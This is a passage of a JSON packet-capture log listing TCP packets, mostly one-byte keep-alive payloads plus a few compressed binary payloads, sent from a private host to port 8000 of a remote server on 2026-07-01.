8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1243, \"timestamp\": 1782897318.969716, \"timestamp_iso\": \"2026-07-01T14:45:18.969716\", \"timestamp_human\": \"2026-07-01 14:45:18.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45571, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1245, \"timestamp\": 1782897319.985277, \"timestamp_iso\": \"2026-07-01T14:45:19.985277\", \"timestamp_human\": \"2026-07-01 14:45:19.985\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45572, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1247, \"timestamp\": 1782897321.000911, \"timestamp_iso\": \"2026-07-01T14:45:21.000911\", \"timestamp_human\": \"2026-07-01 14:45:21.000\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45573, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1249, \"timestamp\": 1782897322.01658, \"timestamp_iso\": \"2026-07-01T14:45:22.016580\", \"timestamp_human\": \"2026-07-01 14:45:22.016\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45574, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1251, \"timestamp\": 1782897323.032211, \"timestamp_iso\": \"2026-07-01T14:45:23.032211\", \"timestamp_human\": \"2026-07-01 14:45:23.032\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45575, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1253, \"timestamp\": 1782897323.940633, \"timestamp_iso\": \"2026-07-01T14:45:23.940633\", \"timestamp_human\": \"2026-07-01 14:45:23.940\", \"size\": 75, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45576, \"ip_len\": 61, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548653, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 21, \"payload_preview\": \"1100c0ff1100000001000000789ceb0300008f008f\", \"payload_ascii\": \"\\u0011\\u0000\\u0011\\u0000\\u0000\\u0000\\u0001\\u0000\\u0000\\u0000x\\u0003\\u0000\\u0000\\u0000\"}, {\"packet_number\": 1255, \"timestamp\": 1782897324.954145, \"timestamp_iso\": \"2026-07-01T14:45:24.954145\", \"timestamp_human\": \"2026-07-01 14:45:24.954\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45577, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1257, \"timestamp\": 1782897325.954311, \"timestamp_iso\": \"2026-07-01T14:45:25.954311\", \"timestamp_human\": \"2026-07-01 14:45:25.954\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45578, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1259, \"timestamp\": 1782897326.96983, \"timestamp_iso\": \"2026-07-01T14:45:26.969830\", \"timestamp_human\": \"2026-07-01 14:45:26.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45579, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1261, \"timestamp\": 1782897327.985474, \"timestamp_iso\": \"2026-07-01T14:45:27.985474\", \"timestamp_human\": \"2026-07-01 14:45:27.985\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45580, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1263, \"timestamp\": 1782897329.001135, \"timestamp_iso\": \"2026-07-01T14:45:29.001135\", \"timestamp_human\": \"2026-07-01 14:45:29.001\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45581, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1265, \"timestamp\": 1782897330.016784, \"timestamp_iso\": \"2026-07-01T14:45:30.016784\", \"timestamp_human\": \"2026-07-01 14:45:30.016\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45582, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1267, \"timestamp\": 1782897331.032429, \"timestamp_iso\": \"2026-07-01T14:45:31.032429\", \"timestamp_human\": \"2026-07-01 14:45:31.032\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45583, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1269, \"timestamp\": 1782897332.048074, \"timestamp_iso\": \"2026-07-01T14:45:32.048074\", \"timestamp_human\": \"2026-07-01 14:45:32.048\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45584, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1271, \"timestamp\": 1782897333.063827, \"timestamp_iso\": \"2026-07-01T14:45:33.063827\", \"timestamp_human\": \"2026-07-01 14:45:33.063\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45585, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1273, \"timestamp\": 1782897334.079467, \"timestamp_iso\": \"2026-07-01T14:45:34.079467\", \"timestamp_human\": \"2026-07-01 14:45:34.079\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45586, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1275, \"timestamp\": 1782897335.095055, \"timestamp_iso\": \"2026-07-01T14:45:35.095055\", \"timestamp_human\": \"2026-07-01 14:45:35.095\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45587, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1277, \"timestamp\": 1782897336.095088, \"timestamp_iso\": \"2026-07-01T14:45:36.095088\", \"timestamp_human\": \"2026-07-01 14:45:36.095\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45588, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1279, \"timestamp\": 1782897337.110744, \"timestamp_iso\": \"2026-07-01T14:45:37.110744\", \"timestamp_human\": \"2026-07-01 14:45:37.110\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45589, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1281, \"timestamp\": 1782897338.111026, \"timestamp_iso\": \"2026-07-01T14:45:38.111026\", \"timestamp_human\": \"2026-07-01 14:45:38.111\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45590, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548673, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1284, \"timestamp\": 1782897338.804274, \"timestamp_iso\": \"2026-07-01T14:45:38.804274\", \"timestamp_human\": \"2026-07-01 14:45:38.804\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45591, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548674, \"tcp_ack\": 958171292, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1285, \"timestamp\": 1782897338.804814, \"timestamp_iso\": \"2026-07-01T14:45:38.804814\", \"timestamp_human\": \"2026-07-01 14:45:38.804\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45592, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548674, \"tcp_ack\": 958171292, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 1287, \"timestamp\": 1782897342.832027, \"timestamp_iso\": \"2026-07-01T14:45:42.832027\", \"timestamp_human\": \"2026-07-01 14:45:42.832\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45593, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512821, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 1289, \"timestamp\": 1782897342.832331, \"timestamp_iso\": \"2026-07-01T14:45:42.832331\", \"timestamp_human\": \"2026-07-01 14:45:42.832\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45594, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512822, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1290, \"timestamp\": 1782897342.847263, \"timestamp_iso\": \"2026-07-01T14:45:42.847263\", \"timestamp_human\": \"2026-07-01 14:45:42.847\", \"size\": 215, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45595, \"ip_len\": 201, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512822, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 161, \"payload_preview\": \"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91d37183c7476228350f005fb8ad29\", \"payload_ascii\": \"\\u0000\\u0000\\u0000\\u0000H\\u0003\\u0000\\u0000xs\\\\RZdbA%\\u0014\\u0017\\u001e|\\u001d7c\\u000eWc6(pcy^/D,,94l?t>\\u0011_45l:owqZyq\\u0014\\tM\\u001cw5\\n_`=w\\u0014W~z]mqGb(5\\u000f\\u0000_)\"}, {\"packet_number\": 1292, \"timestamp\": 1782897343.860832, \"timestamp_iso\": \"2026-07-01T14:45:43.860832\", \"timestamp_human\": \"2026-07-01 14:45:43.860\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45596, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1294, \"timestamp\": 1782897344.876546, \"timestamp_iso\": \"2026-07-01T14:45:44.876546\", \"timestamp_human\": \"2026-07-01 14:45:44.876\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45597, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1296, \"timestamp\": 1782897345.892149, \"timestamp_iso\": \"2026-07-01T14:45:45.892149\", \"timestamp_human\": \"2026-07-01 14:45:45.892\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45598, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1298, \"timestamp\": 1782897346.907856, \"timestamp_iso\": \"2026-07-01T14:45:46.907856\", \"timestamp_human\": \"2026-07-01 14:45:46.907\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45599, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1300, \"timestamp\": 1782897347.923513, \"timestamp_iso\": \"2026-07-01T14:45:47.923513\", \"timestamp_human\": \"2026-07-01 14:45:47.923\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45600, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1302, \"timestamp\": 1782897348.923541, \"timestamp_iso\": \"2026-07-01T14:45:48.923541\", \"timestamp_human\": \"2026-07-01 14:45:48.923\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45601, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, 